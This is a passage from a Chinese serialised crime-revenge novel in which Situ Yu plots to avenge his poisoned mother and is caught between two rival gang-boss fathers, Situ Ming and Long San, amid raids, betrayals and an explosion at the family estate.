龙威站在一旁,看着这一幕,眼神阴郁的可怕。
晚上,龙三爷在庄园里设宴,庆祝父子相认。
宴席很丰盛,山珍海味摆满了桌子,龙三爷坐在主位,左边是龙威,右边是司徒宇,他今天格外高兴,喝了不少酒,脸上的笑容一直没断过。
“阿宇,多吃点。”他亲自给司徒宇夹菜道:“这些年在外面,受苦了。”
司徒宇点点头,默默吃着。
龙威在一旁看着,皮笑肉不笑地说:“阿宇,你这突然冒出来,真是让哥吓了一跳,这些年你在司徒家过得怎么样?司徒鸣对你好吗?”
司徒宇放下筷子,看着龙威。
“不好。”
龙威挑眉。
“怎么个不好法?”
司徒宇沉默了几秒,然后缓缓开口:
“他杀了我母亲。”
饭桌上的气氛瞬间凝固了。
龙三爷放下酒杯,脸色沉了下来。
“司徒鸣杀了你母亲?”
司徒宇点点头,把母亲被毒死的经过说了一遍。
“我亲眼看着她喝下那碗药,亲眼看着她在我面前咽气,她临死前看着我的眼神,我这辈子都忘不了。”
龙三爷听完司徒宇的话后,沉默了。
过了好一会儿,他才开口道:“司徒鸣,你好狠毒!”
司徒宇看着他,忽然开口:“爸,我要杀了他。”
龙三爷抬起头看着他。
“我要杀司徒鸣。”司徒宇重复了一遍,一字一顿,道:“为我母亲报仇。”
龙威的脸色变了。
“阿宇,你冷静点,司徒鸣是司徒家的家主,杀他不容易……”
“我知道。”司徒宇打断他,道:“但我要杀。”
他看着龙三爷。
“爸,你帮我吗?”
龙三爷看着他,看着这个刚刚相认的儿子,看着那双和自己年轻时一模一样的眼睛。
那双眼睛里,燃烧着仇恨的火焰。
他沉默了很久。
然后他缓缓开口:
“帮。”
龙威的脸色更难看了。
“爹……”
龙三爷摆摆手,打断他。
“司徒鸣杀了我儿子的母亲,这个仇,不能不报。”他看着司徒宇道:“阿宇,你想要什么,爹都给你,人手,武器,钱,随便你开口。”
司徒宇摇摇头。
“我什么都不要。我只要您一句话。”
“什么话?”
“我要亲**他。”
龙三爷看着他,眼神里闪过一丝赞赏。
“好!有种!”他拍着桌子,“像我的儿子!”
他站起身,走到司徒宇面前,手按在他肩上。
“阿宇,你放心,司徒鸣的命,是你的。谁也抢不走。”
司徒宇抬起头,看着这个血缘上的父亲。
那张布满皱纹的脸上,此刻满是豪情和喜悦。
**,这份喜悦里,有多少是对失而复得的儿子的疼爱,有多少是对终于有理由对司徒家动手的兴奋。
但他不在乎。
他要的,只是结果。
宴席结束后,司徒宇被安排在庄园里最好的客房休息。
他站在窗前,忽然门被敲响了。
“进来。”
门推开,进来的是龙威。
“你怎么来了?”司徒宇一脸诧异的看着龙威。
283来自父亲的教训!
龙威关上门,走到司徒宇面前,看着他。
两个人相对而立,谁都没有说话。
“你找我有事?”
司徒宇看着面前这个比自己大不了几岁的人,他能感受到龙威的敌意。
龙威看着司徒宇道:“司徒宇,我不管你是谁的儿子,你最好记住一点,龙家,只能有一个继承人。”
司徒宇看着他。
龙威上前一步,凑到他耳边,压低声音说:
“龙家,只能有一个继承人。”
司徒宇内心不屑一笑道:“我知道。”
龙威盯着他,盯了几秒,然后退后一步。
“知道就好。”
他转身,向门口走去。
“龙威。”司徒宇忽然叫住他。
龙威停住,没有回头。
“我们是兄弟。”司徒宇说道:“亲兄弟。”
龙威的背影僵了一下。
然后他推开门,走了出去。
三天后,深夜。
清迈城北,司徒鸣的庄园笼罩在沉沉的夜色中。
这座庄园比龙三爷的那座更加气派,占地近百亩,主楼是一栋五层的法式建筑,周围分布着十几栋附属别墅,四周高大的围墙将整个庄园围得铁桶一般,围墙上每隔五十米就有一个岗亭,二十四小时有人值守。
但此刻,这些岗亭里的守卫,大部分已经倒在了血泊中。
此刻,龙三爷的人分成四队,从四个方向发动夜袭!
龙三爷的手下们装备精良,训练有素,更重要的是,他们有内应。
司徒宇为他们提供了整个庄园布防图,让龙三爷的人对每一个岗哨的位置、每一组巡逻的时间间隔都了如指掌。
战斗开始不到十分钟,司徒鸣的外围防线就被彻底撕开。
**在夜空中炸响,主楼里的守卫终于反应过来,开始组织抵抗。但他们动作缓慢,为时已晚,龙三爷的人已经冲进了主楼,正在向各个楼层推进。
二楼的一间卧室里,司徒鸣被**惊醒。
他猛地从床上坐起,下意识地伸手去拿床头柜上的**,但他的手刚碰到枪柄,房门就被一脚踹开了。
两个黑衣人冲进来,黑洞洞的枪口对准了他。
“司徒先生,跟我们走一趟。”
司徒鸣的眼神冷了下来,他没有反抗,慢慢举起双手。
“谁派你们来的?”司徒鸣冷冷的问道。
黑衣人没有回答,只是上前把他从床上拽起来,用枪顶着他的后背,推着他向外走。
走廊里一片混乱,**、喊叫声、脚步声混在一起,司徒鸣被推着向前走,他看到走廊上躺着几具尸体,他们都曾是他手下的保镖,还有几个人在抵抗,但很快就被龙三爷的人压制住,倒在血泊中。
他们走到楼梯口时,忽然从三楼传来一阵密集的**。
几个黑衣人从楼上滚下来,已经没了气息,紧接着,一个身影从楼梯上冲下来,手里端着枪,对着黑衣人们就是一阵扫射。
司徒宇!
他满身是血,也不知道是自己的还是别人的,但眼神凶狠得像一头狼。
“放开他!”司徒宇吼道。
他一边射击一边冲过来,押着司徒鸣的两个黑衣人连忙还击,但司徒宇的动作太快了,显然是受过专业训练的。
几秒钟后,两个黑衣人都倒在了地上。
司徒宇冲到司徒鸣面前,一把抓住他的胳膊。
“爸,快走!”
司徒鸣看着他,惊讶道:“你怎么来了,你不是在上城吗?”
“我刚回来,就听到外面有**,我就赶过来了!”司徒宇一边说,一边拉着他向楼下冲。
“爸,龙三爷的人疯了,来了至少五十个,我们得赶紧走!”
他们冲下楼,穿过大厅。
大厅里到处都是尸体,空气中弥漫着浓重的血腥味,几个龙三爷的人看到他们,立刻举枪射击,司徒宇把司徒鸣推到一根柱子后面,自己探出身去还击。
三声枪响,三个人倒下。
“这边!”司徒宇拉着司徒鸣向后门跑去。
后门外面是花园,有几辆车停在那里,司徒宇冲向最近的一辆,一枪打碎车窗,打开车门,把司徒鸣推进去,然后自己跳上驾驶座。
司徒宇发动车子,然后猛地冲出去,车子撞开花园的铁门,驶入外面的公路。
身后,**渐渐远去。
司徒鸣靠在副驾驶的座位上,大口喘着气,他转头看着司徒宇,眼神里有复杂的情绪。
“阿宇,你今天救了我的命。”
司徒宇没有看他,只是盯着前方的路。车灯在黑暗中劈开一道光柱,照亮不断后退的公路。
“应该的。”
司徒鸣沉默了几秒,然后问:“你怎么知道我会被袭击?”
司徒宇的手在方向盘上微微收紧。
“我听到风声,龙三爷那边有人告诉我的。”
“谁?”
“一个内线,具体是谁不能说,但消息可靠。”
司徒鸣点点头,没有再问。
车子一路向南,开了大约二十分钟,最后在一处废弃的厂房前停下。
司徒鸣看了看四周,眉头皱起。
“这是哪儿?”
司徒宇熄了火,转过头看着他。
“安全屋。”
“安全屋?”司徒鸣的眼神警惕起来,道:“谁的安全屋?”
司徒宇没有回答,只是推开车门,下了车。
司徒鸣犹豫了一下,也跟着下了车。
厂房里一片漆黑,只有月光透过破旧的屋顶洒进来,在地上投下斑驳的光影,空气中弥漫着铁锈和霉烂的味道。
他们走进厂房深处。司徒宇忽然停下脚步。
司徒鸣也停下来,看着他。
“阿宇,你把我带来这里,你到底想干什么?”
司徒宇慢慢转过身,面对着他。
“爸。”他开口,声音很轻道:“我想问你一件事。”
司徒鸣看着他,眼神警惕。
“什么事?”
“我母亲是**的?”
司徒鸣的身体微微一僵。
“你母亲?她是病死的,这些你是知道的。”
司徒鸣只觉得今天的儿子很奇怪,他今天的话格外的多。
司徒宇笑了,那笑容冰冷如霜。
“病死的?你确定?”
司徒鸣的脸色变了。
“阿宇,你什么意思?”
司徒宇慢慢从腰间拔出一把**,刀身在月光下闪着冷光。
“我亲眼看到的,她喝了你给她端的那碗药,然后就在我面前咽了气,她临死前看着我的眼神,我这辈子都忘不了。”
司徒鸣的脸色变得惨白。
“阿宇,你听我说……”
“说什么?”司徒宇打断他道:“说她是病死的?说她命该如此?说你不杀她,她就会被龙三爷杀掉?”
他握着**的手在微微颤抖。
“二十三年了。我每天对着杀母仇人叫爸爸,每天看着他在我面前装慈父,每天忍着恶心赔着笑脸,你知道这二十三年我是怎么过的吗?”
司徒鸣后退一步,眼神里闪过恐惧。
“阿宇,你不能这样,我是你父亲……”
“你不是!”司徒宇的声音陡然拔高,“你不是我父亲!我父亲是龙三爷!”
司徒鸣的瞳孔剧烈收缩。
“你……你知道了?”
司徒宇冷笑。
“我知道,我一直都知道,从我十二岁那年,母亲咽气的那一刻起,我就什么都知道了。”
他慢慢向司徒鸣走去。
“我这些年在你身边,就是为了等这一天。等你放松警惕,等你露出破绽,今天,龙三爷的袭击,是我一手策划的,我就是要趁乱把你带出来,然后……”
他把**抵在司徒鸣的胸口。
“亲手杀你。”
司徒鸣看着他,眼神里有恐惧,有悔恨!
“阿宇,我知道我做错了,但这些年,我是真心的。我把你当亲儿子养……”
“闭嘴!”司徒宇的手一用力,**刺破了司徒鸣的衣服,刺破了他的皮肤。
“你不配说这些话!”
司徒鸣的身体在发抖,他张了张嘴,想说什么,却什么都说不出来。
就在这时,厂房门口忽然传来一阵掌声。
两个人同时转头看去。
月光下,一个男人站在门口,是龙三爷!
他拍着手,脸上满是幸灾乐祸的笑容。
“好,好,好!”他的声音在空旷的厂房里回荡道:“司徒鸣,没想到吧?你也有今天!”
司徒鸣的脸色变得更加难看。
龙三爷走到司徒鸣的面前,居高临下地看着司徒鸣。
“司徒鸣,你当年从我手里抢走玉英的时候,没想到会有
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今天吧?”他的声音里满是得意道:“你以为你赢了?你以为你抢到了美人,还白得一个儿子?哈!现在呢?这个儿子,要亲手杀你!”
司徒鸣咬着牙,没有说话。
龙三爷继续说着:“司徒鸣,你这一辈子,就是个失败者,做生意输给我,抢女人输给我,现在连命都要输给我儿子,你说你活着还有什么意思?”
司徒鸣的拳头攥得紧紧的,看着龙三爷不说话。
龙三爷转而看向司徒宇,提醒他道:“阿宇,干得好!杀了他!为你母亲报仇!”
司徒宇看着他,又看看司徒鸣,手里的**纹丝不动。
“阿宇,还等什么?”龙三爷催促道道:“动手!”
司徒宇深吸一口气,握紧**,对准司徒鸣的胸口。
司徒鸣闭上眼睛。
但就在这时,厂房外面忽然传来一阵密集的**,所有人都愣住了。
紧接着,厂房的大门被轰然撞开,几辆越野车冲进来,车灯刺眼,晃得人睁不开眼,车上跳下几十个黑衣人,手里都端着枪,对着龙三爷的人就是一阵扫射。
龙三爷的人猝不及防,瞬间倒下一片。
龙威连忙护着龙三爷向后退,一边退一边还击。但对方火力太猛,他们根本抵挡不住。
司徒宇也被这突如其来的变故惊住了,他还没反应过来,就被几个人扑倒在地,手里的**被夺走,双手被反剪到背后。
是司徒家的暗卫!
他们怎么来到了清迈!
司徒鸣什么时候将他们调过来的!
司徒家最精锐、最神秘的力量,只听从家主一人的调遣。
一个为首的黑衣人走进书房,对司徒鸣微微躬身。
“家主,外围已经清理干净,龙三爷派来的人,一共三十二个,全部击杀。”
司徒宇的心像被一只无形的手狠狠攥紧。
三十二个,全部击杀。
他带来的人,一个都没剩下。
司徒鸣点点头,站起身,绕过书桌,慢慢走到司徒宇面前。
“阿宇,你带了多少人来?三十个?还是四十个?”他轻声说,语气里带着戏谑道:“你不会真以为,我会让你在我的地盘上杀我吧?”
司徒宇死死盯着他,眼睛里满是不可置信。
“你……你早就知道……”司徒宇问道。
“从你离开上城的那一刻,我就知道了,你去找龙三爷,你认他做爹,你要来杀我,每一步,都在我的计划之中。”
司徒宇的嘴唇颤抖着问道:“计划?你的什么计划?”
司徒鸣没有回答,只是点燃了一根雪茄,然后慢条斯理的说道:“阿宇,你知道你最大的问题是什么吗?那就是你太恨我了,恨到蒙蔽了理智,恨到你以为我看不出来。”
他顿了顿,抽了一口,吐出烟雾道:“这些年,我看着你长大,看着你一点一点地恨我,你以为你藏得很好?你以为你看我的眼神,和看别人一样?不,阿宇,不一样。你每次叫我‘爸’的时候,眼里的恨意,我都看得清清楚楚。”
司徒宇的拳头攥得嘎嘣响,质问道:“那你为什么不早杀了我?”
“杀了你?”司徒鸣笑了道:“杀了你,谁来帮我钓龙三爷这条大鱼?”
司徒宇愣住了。
司徒鸣站起身,走到窗前,背对着他。
“我当年救你母亲,不是心善,是因为我知道她是龙三爷的女人,我娶她,也不是因为爱她,是因为我想在龙三爷身边埋一颗棋子,可惜,你母亲太不听话了,我只能……”
他没有说完,但意思很清楚。
司徒宇的眼睛瞬间充血。
“是你!是你杀了她!”
“是我。”司徒鸣转过身,看着他反问道:“那又怎样?”
司徒宇怒吼一声,就要冲上去,却被身后的暗卫死死按住,他挣扎着,咆哮着,却挣不开那些铁钳一样的手。
司徒鸣走过来,站在他面前,居高临下地看着他。
“阿宇,你以为你去找龙三爷认爹,是你自己的主意?你以为他那么容易就相信你是他儿子,还派人来帮你杀我,是他自己的决定?”
他的嘴角弯起一个诡异的弧度。
“是我逼你的。”
这一刻,司徒宇近乎崩溃,他没有想到,自己竟然被司徒鸣,**鼓掌之中……
284太子爷!
司徒宇的眼睛瞪得老大,那多半是内心的惊讶。
他不敢相信,自己竟然被做局了,他以为自己计划的天衣无缝!
“从你小时候,我就故意让你知道你是收养的,故意让你对你母亲的身份产生怀疑,故意让你查到那些线索,你每查到一个真相,都是我安排好的,你走的每一步,都在我的计划里。”
司徒鸣顿了顿,轻轻拍了拍司徒宇的脸。
“你知道为什么吗?因为我需要一个诱饵,一个能把龙三爷引出来的饵,他躲在金三角几十年,深居简出,身边守卫森严,我的人根本近不了身,但是……”
“但是他有一个弱点,他想要儿子,他这辈子最大的遗憾,就是没有继承香火,龙威那个废物,是他从远房亲戚家过继来的,根本不是亲生的,他一直想要一个亲生儿子,却一直得不到。”
“所以你就……”
“对。”司徒鸣点头道:“我让他多一个亲生儿子,一个失散多年的突然找上门来的好儿子。”
司徒宇的浑身都在颤抖。
“那我……我到底是不是……”
“你当然是。”司徒鸣笑了道:“你真的是他的儿子,这一点,我没有骗你,我要的是真的饵,不是假的,亲子鉴定那关,必须过。”
司徒鸣深吸一口雪茄,缓缓吐出。
“你知道吗,当他抱着你喊‘好孩子’的时候,我的人就在旁边看着,看着他那个激动的样子,真是可笑。”
司徒宇咬着牙,眼睛里几乎要滴出血来。
“所以我母亲死的时候,你说的那些话也都是假的?”
司徒鸣看着自己养大的儿子,道:“我对她,确实有过一点感情,但她太蠢了。我让她做什么,她都不肯,我让她帮我接近龙三爷,她说不行,我让她帮我传递消息,她说不行,最后我只能……”
他没有说完,但意思已经很清楚。
司徒宇闭上眼睛。
两行泪,从他眼角滑落。
二十三年了。
他以为自己在演戏,在隐忍,在等待一个复仇的机会。
到头来,他才是那个被演的人。
他所有的恨,所有的痛苦,所有的隐忍,都只是司徒鸣棋盘上的一颗棋子。
“司徒鸣,你会下地狱的。”
司徒鸣笑了。
“地狱?阿宇,我们这种人,活着就是地狱,**,反而解脱了。”
他挥了挥手。
“带下去,关起来和龙三爷一起处理。”
暗卫押着司徒宇向外走。
走到门口时,司徒宇忽然停住,回头看着司徒鸣。
“司徒鸣。”
司徒鸣看着他。
“司徒晴……你知道吗?”
司徒鸣的眼神微微波动了一下。
“知道什么?”
司徒宇看着他,一字一顿地说:“我喜欢她,从小就喜欢。但我从来没有告诉过她。因为她是我妹妹。”
司徒鸣沉默了。
司徒宇继续说:“她是这个家里,唯一对我好的人,唯一一个真心对我的人,别伤害她!”
“别伤害她。”
司徒鸣看着他,冷笑了一声道:“待下去!”
司徒宇被押走了,他被关进了老宅地下室的牢房里。
牢房不大,只有几平米,一张木板床。
司徒宇破防了,他以为自己是猎人,到头来,他才是那个最傻的猎物。
他想起母亲临死前的眼神,那个眼神里有痛苦,有不舍,现在他终于明白了,那是一种绝望,一种明知真相却说不出口的绝望。
他想起司徒晴的笑脸,那个从小到大对他最好的女孩,那个叫他“哥”的时候眼睛会弯成月牙的女孩,那个在咖啡馆里抱着他哭、让他一定要活着回来的女孩……
她如果知道他**,会哭吗?
会为他哭吗?
他闭上眼睛,靠在墙上。
眼泪,又流了下来。
不知过了多久,牢房的门被打开了。
两个暗卫走进来,把他架起来,拖了出去。
穿过长长的走廊,爬上楼梯,走进一个宽敞的大厅。
大厅里灯火通明,四周站满了暗卫,至少有三十多人,司徒鸣坐在中间,手里端着一杯茶,正慢慢品着。
司徒鸣对面,跪着一个人。
那个人浑身是血,头发散乱,衣服破烂,双手被反绑在身后。
但他的背挺得笔直,头昂得高高的,眼神里满是桀骜不驯。
是龙三爷!
司徒宇的心猛地一抽。
龙三爷抬起头,看到司徒宇,嘴角微微弯起。
“阿宇,你来了。”
他的声音沙哑,但语气平静得像在聊家常。
司徒宇看着他,看着他浑身是血的样子,心里忽然涌起一种复杂的情绪。
这个人是他的父亲,现在跪在另一个父亲面前。
司徒鸣放下茶杯,站起身,走到龙三爷面前,居高临下地看着他。
“龙三,你没想到吧?你纵横金三角几十年,最后会栽在我手里。”
龙三爷抬起头,看着他,眼神里满是不屑。
“司徒鸣,你以为你赢了?”
司徒鸣挑眉道:“不然呢?”
龙三爷笑了,那笑容里有疯狂,也有一种说不出的意味。
“司徒鸣,你知道我为什么亲自来吗?”
司徒鸣眉头微皱。
“为什么?”
龙三爷看着他,一字一顿地说:“因为我也想杀你。”
司徒鸣愣了一下,然后哈哈大笑起来。
“你?杀我?你现在跪在这里,浑身是血,手无缚鸡之力,你拿什么杀我?”
龙三爷也笑了。
“司徒鸣,你以为我只带了那三十个人?”
司徒鸣的笑容凝固了。
“什么意思?”
龙三爷没有回答,只是看向大厅门口。
司徒鸣顺着他的目光看过去。
门口,不知道什么时候,出现了一个人。
一个穿着黑色风衣、戴着墨镜的年轻人。
他慢慢走进大厅,摘下墨镜。
司徒鸣的瞳孔瞬间收缩。
那个人,长得和龙威一模一样。
但不是龙威。
是另一个龙威。
龙三爷的声音在大厅里回荡:“司徒鸣,我龙三在金三角混了几十年,仇家无数,能活到今天,靠的就是一个本事,永远留有后手。”
他顿了顿。
“你以为我只有一个儿子?你以为我只带了那三十个人?你以为我真的会傻到亲自来送死?”
司徒鸣的脸色变了。
那个年轻人走到龙三爷身边,蹲下,解开他手上的绳子。
龙三爷慢慢站起来,活动了一下手腕。
“司徒鸣,你千算万算,算漏了一件事。”
他走到司徒鸣面前,和他面对面站着。
“我龙三,从来不做没有把握的事。”
司徒鸣的脸彻底白了。
他后退一步,想喊暗卫,但那个年轻人已经动手了。
他像一道黑色的闪电,瞬间冲进暗卫群中。拳、脚、肘、膝,每一个动作都精准致命,暗卫们甚至来不及反应,就一个接一个地倒下。
短短两分钟,上百个暗卫,倒下了三分之一。
剩下的不敢再动,只是围成一圈,警惕地盯着他。
司徒鸣的声音颤抖起来:
“你……你是谁?”
那个年轻人没有回答,只是看向龙三爷。
龙三爷笑了。
“他叫龙影,是我从小培养的死士,没有名字,没有身份,没有过去,他存在的唯一目的,就是保护我的安全。”
他看着司徒鸣。
“你以为我只有一个儿子?不,我有两个,一个在明,一个在暗,一个替你卖命,一个替我**。”
司徒鸣彻底懵了。
“龙威……龙威他……”
“龙威?”龙三爷笑了道:“他是我从远房亲戚家过继来的,从小就知道自己的身份,你以为他真的是我儿子?”
他走到司徒鸣面前,伸手拍了拍他的脸。
“司徒鸣,你太聪明了,聪明到以为自己能算计所有人,但你忘了一件事,在这个世界上,永远有人比你更聪明。”
司徒鸣的脸惨白如纸。
他张了张嘴,想说什么,却什么都说不出来。
龙三爷后退一步,看向司徒宇。
“阿宇,过来。”
司徒宇走过去,站在他身边。
龙三爷看着他,眼神里有慈爱,也有一种复杂的东西。
“阿宇,你刚才是不是在想,你这个爹,怎么这么蠢,亲自来送死?”
司徒宇没有说话。
龙三爷笑了,拍了拍他的肩膀
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。
“傻孩子,爹活了七十多年,什么风浪没见过?什么阴谋没经历过?司徒鸣这点小把戏,我十年前就看穿了。”
他顿了顿。
“让你去认爹,让你来杀司徒鸣,让你当这个饵,不是为了引司徒鸣上钩,是为了让他以为自己赢了,他越得意,就越放松警惕。他越放松警惕,就越容易……”
他没有说完,只是看向那个叫龙影的年轻人。
龙影点了点头,从怀里掏出一个遥控器,按下按钮。
轰!
一声巨响从远处传来,震得整个大厅都在颤抖。
紧接着,又是几声巨响,一声比一声近。
司徒鸣的脸色彻底变了。
“你做了什么?”
龙三爷笑了。
“我让人在你家老宅下面,埋了几百斤**。”
他指了指龙影手里的遥控器。
“刚才那几声,是外围的。接下来……”
他的手指轻轻一按。
轰隆隆!
巨大的**声接二连三地响起,整个老宅都在剧烈摇晃,墙上的字画掉下来,天花板的吊灯砸在地上,碎成无数片。
暗卫们惊慌失措,四散奔逃。
司徒鸣跌坐在地上,面如死灰。
龙三爷走过去,蹲在他面前。
“司徒鸣,你知道我为什么叫龙三吗?”
司徒鸣茫然地看着他。
龙三爷笑了。
“因为我在家排行老三。我大哥,二哥,都**。死在我之前。所以我是龙三。”
他站起身,看着司徒鸣,问道:“你知道他们**的吗?”
司徒鸣没有回答。
龙三爷轻声说:“被我杀的。”
司徒鸣的眼睛瞪得老大。
龙三爷继续说:“我龙三这辈子,杀过很多人,有仇人,有亲人,有朋友,有敌人。但我从来没有后悔过。因为我知道,在这个世界上,想要活下去,就要比别人更狠。”
他转身,向门口走去。
“司徒鸣,你不是想杀我吗?我给你这个机会。”
他在门口停下,没有回头。
“可惜,你太弱了。”
他挥了挥手。
龙影走过来,一把抓起司徒鸣,像拎小鸡一样拎起来。
“阿宇,走吧。”龙三爷说,“这个地方,马上就要塌了。”
司徒宇跟着他,向外走去。
走出大厅,穿过走廊,来到院子里。
外面已经是一片火海。
龙三爷站在院子里,看着那片火海。
“阿宇。”
司徒宇走到他身边。
“嗯。”
龙三爷转过头,看着他,问道:“你恨我吗?”
司徒宇愣住了。
龙三爷继续说:“你恨我当年抛弃你母亲,恨我让她受苦,恨我让她最后死在司徒鸣手里,你恨我,对不对?”
司徒宇沉默了几秒,然后点点头。
“对。”
龙三爷笑了。
“好,恨就好,有恨,你才能活下去。”
他伸手,按住司徒宇的肩膀。
“阿宇,记住。在这个世界上,谁都靠不住。只有恨,能让你活下去。”
司徒宇看着他,看着这个血缘上的父亲,看着这个**不眨眼的恶魔,看着这个为了活下去可以牺牲一切的枭雄。
他的心里翻涌着复杂的情绪。
恨?当然恨。
但此刻,看着他在火光中的脸,看着他那双浑浊却锐利的眼睛,司徒宇忽然觉得,这个人,也许并没有他想象的那么简单。
“爹。”他开口。
龙三爷看着他。
“龙威……真的是你儿子吗?”
龙三爷愣了一下,然后哈哈大笑起来。
“阿宇,你果然聪明。”
他收起笑容,看着远处熊熊燃烧的老宅。
“龙威,是我从远房亲戚家过继来的。但他跟了我三十年,比亲儿子还亲。他喊我爹,我认他这个儿子。这就够了。”
他转过头,看着司徒宇。
“至于你,你是我的亲生儿子。这一点,没有假。”
司徒宇沉默着。
龙三爷继续说:“阿宇,我知道你恨我,但我也知道,你需要我,龙家,需要一个继承人,而这个人,只能是你。”
他伸出手,对司徒宇说道:“跟我回去,龙家的江山,以后是你的。”
285龙争虎斗(上)!
司徒宇看着龙三爷,他心里说不出的滋味。
这个男人,也是杀害自己母亲的帮凶,可是他也知道,如果没有龙三爷的及时赶到,自己很有可能就死在了司徒鸣的手里。
此刻的司徒宇没有丝毫的犹豫,他伸出手,握住了龙三爷的手,尽管他自己心里厌恶到想吐,可是就算是演戏,他都要演的真诚一点,不能让龙三爷怀疑自己,因为司徒宇不是为自己,他还有更重要的事情要做。
龙三爷满意的笑道:“好,好儿子!走,跟爹回家!”
司徒宇跟着龙三爷的步伐,他从始至终,都没有回头看一下司徒鸣,虽然这位上城的首富,已经被装进了后备箱里,他知道自己和司徒鸣的父子情到此为止,他也知道,等待司徒鸣的是死亡,可他没有半点后悔。
司徒宇的脑海里,只有一个念头,那就是为母亲报仇!
龙三爷,该怎么除掉他?
司徒宇的心里,最惦记的人也是司徒晴,他想在回上城,在去看看她,这辈子,哪怕是陪在她身边也好。
司徒宇上了车,他靠在座椅上,他需要休息,今晚的事情,让他第一次感觉到了司徒鸣的恐怖,他没想到,自己差点就被司徒鸣给杀了。
司徒宇闭上了眼睛,他心里有成功复仇的快感。
二十三年的仇恨,二十三年的隐忍,他为的就是这一刻!
他想起了母亲临死前的眼神,他想到这些年隐忍的艰辛,所有的情绪在这一瞬间,得到了释放!
“妈,你看到了吗?我给你报仇了!”司徒宇在心里暗暗的说道。
司徒宇极力的控制自己的感情,不让眼泪落下来。
车子开了一个多小时后,在一处隐秘的山谷里停下。
这是一座隐藏在密林深处的庄园,司徒宇知道,这才是龙三爷的老巢。
车队驶进庄园,在一栋三层别墅前停下。
龙三爷下了车,龙影跟在他身后,司徒宇也下了车,站在车边,看着这个陌生的地方。
“阿宇,进来。”龙三爷对他招了招手。
司徒宇跟着他走进别墅。
别墅里装修得很豪华,客厅的正中摆着一套真皮沙发,沙发上坐着一个男人。
龙威。
他穿着一身休闲装,手里端着一杯红酒,正翘着二郎腿看电视吗,听到脚步声,他转过头,看到龙三爷,立刻放下酒杯,站起身。
“爹,您回来了!”他快步走过来,脸上堆满笑容问道:“事情顺利吗?”
龙三爷点点头,在沙发上坐下道:“司徒鸣那个蠢货,还以为自己赢了,结果被我炸死在火海里。”
听到龙三爷的话,龙威笑的更猥琐道:“爹英明!那个司徒鸣,怎么能跟爹比?”
他的目光转向司徒宇,眼神里始终有警惕,可他不得不客气道:“阿宇也回来了?辛苦了辛苦了。”
司徒宇看着他,点了点头,没有说话。
龙威也不介意,又转向龙三爷。
“爹,那个司徒鸣呢?**吗?”
“后备箱里。”龙三爷说:“先把他关起来,等明天再处理。”
龙威的眼睛亮了道:“爹,能不能让我……”
龙三爷看了他一眼,问道:“你想干什么?”
龙威讪讪地笑了道:“没什么,就是想亲手报仇,那个司徒鸣,以前可没少给咱们添堵。”
龙三爷沉默了几秒,然后点点头。
“行,明天让你亲手杀。”
龙威连连感谢道:“谢谢爹!谢谢爹!”
司徒宇站在一旁,看着这一幕,心里忽然涌起一种说不出的厌恶。
龙威这个人,他早就听说过,龙三爷的养子,名义上的继承人,实际上就是个溜须拍马、欺软怕硬的货色。他会讨好龙三爷,会欺负弱小,会在龙三爷面前装孙子,在别人面前充大爷。
但司徒宇没想到,他竟然这么恶心。
“阿宇。”龙三爷叫他。
“嗯?”司徒宇看向龙三爷问道。
“你也累了,就先上楼休息,房间已经给你准备好了。”龙三爷指了指楼梯,道:“二楼最里面那间是你的,有什么事,明天再说。”
司徒宇点点头,向楼上走去。
走到楼梯口时,他听到身后龙威的声音:“爹,那个司徒宇,您打算怎么安排?”
龙三爷没有回答,这件事,他自然有安排,但没必要现在说,说了,反而让龙威和司徒宇闹掰,自己需要他们做事情。
司徒宇没有回头,继续上楼,他走进了房间。
二楼最里面的房间很大,装修得很舒适,一张大床,一个衣柜
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,一张书桌,还有一扇落地窗,正对着外面的山林。
累。
真的很累。
不是身体上的累,是心累。
他想起司徒鸣最后说的那些话。
“你以为我不知道你的身世?”
“你以为我让你留在司徒家,是因为念及旧情?”
“你走的每一步,都在我的计划里。”
那些话像刀子一样,一刀一刀割在他心上。
他以为自己是在演戏,是在隐忍,是在等待复仇的机会。
到头来,他才是那个被演的人。
他闭上眼睛,倒在床上。
脑海里,又浮现出司徒晴的笑脸。
“哥,你要活着回来。”
门外忽然传来脚步声,司徒宇睁开眼,坐起身,整个人都警惕起来,脚步声在门口停下,然后是敲门声。
“阿宇?睡了吗?”龙威的声音。
司徒宇眉头微皱问到:“什么事?”
“开门,哥跟你聊聊。”
司徒宇沉默了几秒,然后起身,打开门。
龙威站在门口,手里拿着两瓶啤酒,脸上带着那种让人不舒服的笑容。
“睡不着吧?来,陪哥喝两杯。”
司徒宇看着他,没有动。
龙威也不介意,直接挤进门,在书桌旁的椅子上坐下,把一瓶啤酒放在桌上。
“坐啊,站着干嘛?”
司徒宇关上门,在床边坐下。
龙威打开啤酒,喝了一口,然后看着他。
“阿宇,今天的事,哥都听说了,你干得不错。”
司徒宇没有说话。
龙威继续说:“那个司徒鸣,早就该**。他在金三角混了这么多年,一直跟咱们龙家作对,爹早就想收拾他了,就是一直没机会,今天你帮爹办成了这件事,爹很高兴。”
龙威顿了顿,眼神里闪过一丝复杂的情绪。
“你知道吗,爹今天跟我说,以后龙家的家业,要分你一半。”
司徒宇看着他,问到:“你不高兴?”
龙威笑了,那笑容里有一丝苦涩,他知道自己是养子,养子哪有亲生儿子亲啊!
“高兴?当然高兴,多了一个兄弟,多了一个帮手,有什么不高兴的?”
他喝了一口酒,然后看着司徒宇。
“阿宇,哥问你件事。”
286龙争虎斗(下)!
“什么?”
“你在司徒家待了二十三年,对那个司徒晴,熟不熟?”
司徒宇的心猛地一紧,道:“问这个干什么?”
龙威嘿嘿笑了,那笑容里带着一种让人恶心的猥琐。
“听说司徒晴长得挺漂亮的,上次在酒会上远远见过一面,那身材,那脸蛋……”
他的眼睛里闪着淫邪的光。
“阿宇,你说,哥要是去追她,有没有戏?”
司徒宇的手,慢慢攥紧。
龙威没注意到他的变化,还在自顾自地说:“她现在应该很伤心吧?爹**,家没了,一个人孤苦伶仃的,这种时候,要是有人去关心她,安慰她,她肯定……”
他的话还没说完,司徒宇已经站起身。
龙威愣了一下。
“怎么了?”
“没什么,累了,想睡了。”
龙威看看他,又看看手里的啤酒,讪讪地笑了。
“行行行,那你睡吧,明天再聊。”
龙威站起身,向门口走去,走到门口时,他忽然停住,回头看着司徒宇。
“阿宇,哥跟你说真的,那个司徒晴,哥一定要弄到手,你要是有办法,帮哥牵个线。事成之后,少不了你的好处。”
龙威推开门,走了出去。
门关上,房间里又安静下来。
司徒宇站在原地,一动不动,他的脑海里,反复回响着龙威说的那些话。
“那个司徒晴,哥一定要弄到手。”
“帮哥牵个线。”
“少不了你的好处。”
